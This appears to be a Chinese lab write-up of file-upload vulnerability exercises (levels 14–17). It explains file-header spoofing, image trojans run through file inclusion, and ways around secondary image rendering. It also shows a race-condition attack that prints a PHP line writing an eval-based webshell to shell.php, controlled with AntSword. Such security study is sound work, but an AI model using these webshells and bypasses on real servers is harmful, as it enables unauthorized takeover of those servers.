文件上传漏洞
16、
因为14,15,16原理基本相同,所以我从14开始,首先提到了文件包含漏洞,那就一定有include.php文件,经过访问,我们易知在主目录下
这一关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件
使用 图片马 + 文件包含
绕过
有两种思路,一种是通过16进制工具将图片文件头格式写入
图片文件头格式:
文件头部格式介绍:https://blog.csdn.net/xiangshangbashaonian/article/details/80156865
PNG文件头: 89 50 4E 47 0D 0A 1A 0A
JPG文件头: FF D8 FF
GIF (gif)文件头:47494638
图片木马
另外一种就是图片和木马的结合,制作图片木马,
这个时候上传图片木马是可以的,然后利用文件包含漏洞执行图片木马中的php代码,此时我们使用上传的时候的文件名,这时候访问不到。在查找后台的时候,我发现,我们上传的图片木马的文件名已经被更改了。
所以我们需要想办法获取到服务器中该图片的名称,右击图片可以下载和获取图片地址,这个时候就可以获得图片名了。
我们接着执行,php代码可以执行,此时复制url到antsword
15原理是getimagesize()函数检查是否是图片,图片木马仍旧可以生效。
getimagesize()简介
这个函数功能会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的
16就有些麻烦了。
首先16使用了 php_exif
这一关对上传图片进行了判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接
补充知识:
二次渲染:后端重写文件内容
basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名
strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
这里有个小提示,对于做文件上传之二次渲染建议用GIF图片,相对于简单一点
上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,上传带有PHP一句话木马的GIF图片
知识补充: exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif
模块。
16、使用图片木马时,发现上传的图片木马无法生效,下载上传的图片木马后,进行查看,发现上传的图片木马中php代码已经没了。
gif格式
首先构造图片木马
然后上传后访问没有反应,下载图片后在16进制编辑器中打开,果然已经没有了php代码,这个时候对比一下,找到没有被修改的位置,将木马写入(这边只写个弹出PHP 日志,只要能执行php代码,就可以。),
然后重新上传。
这个时候就已经成功了。
jpg格式
需要多次尝试,但总体来说还是以图片木马的形式,还有国外的脚本进行多次尝试构造图片木马并上传。
png格式
和jpg原理基本一致。也是要使用脚本进行构造图片木马。
都是经过渲染,上传后整个文件与上传时的基本上都不一样了,所以没整明白。
17、
首先进行代码审计
由此我们可以看出,在文件上传后,并不会禁止不正确的文件上传,而是在上传后检查是否是正确格式,如果不是正确格式那么就会将其删除掉。
那么我们就可以使用特点代码,在服务器将其删除之前访问上传的文件,使得该文件内容执行,在该目录上层目录生成木马,从而控制服务器。
代码如下
<?php
fputs(fopen('../shell.php','w'),'<?php phpinfo(); @eval($_POST[xx]);?>');
该代码的作用就是在该文件夹目录的上一层目录写入一个shell.php文件,从而可以控制服务器。
然后我们手动上传该文件,可是服务器响应速度很快,在我们还没上传上去的时候就已经被删除了,我们无法访问。
因此我们使用抓包的方式,暴力破解,多次上传我们的代码,
暴力破解
burp抓包后发送到intructor中,然后进行无限上传。
我们可以看到文件夹中,代码不停的被删除和添加,所以一直是处理中
此时我们再抓个访问的包,然后一边发包,一边访问,在这个工程中,我们很容易发现已经成功了,右边的爆破,长度出现明显变化,那么木马植入成功。
此时服务器目录下已经生成了一个shell.php文件,那么我们就可以利用这个,使用antsword等工具控制。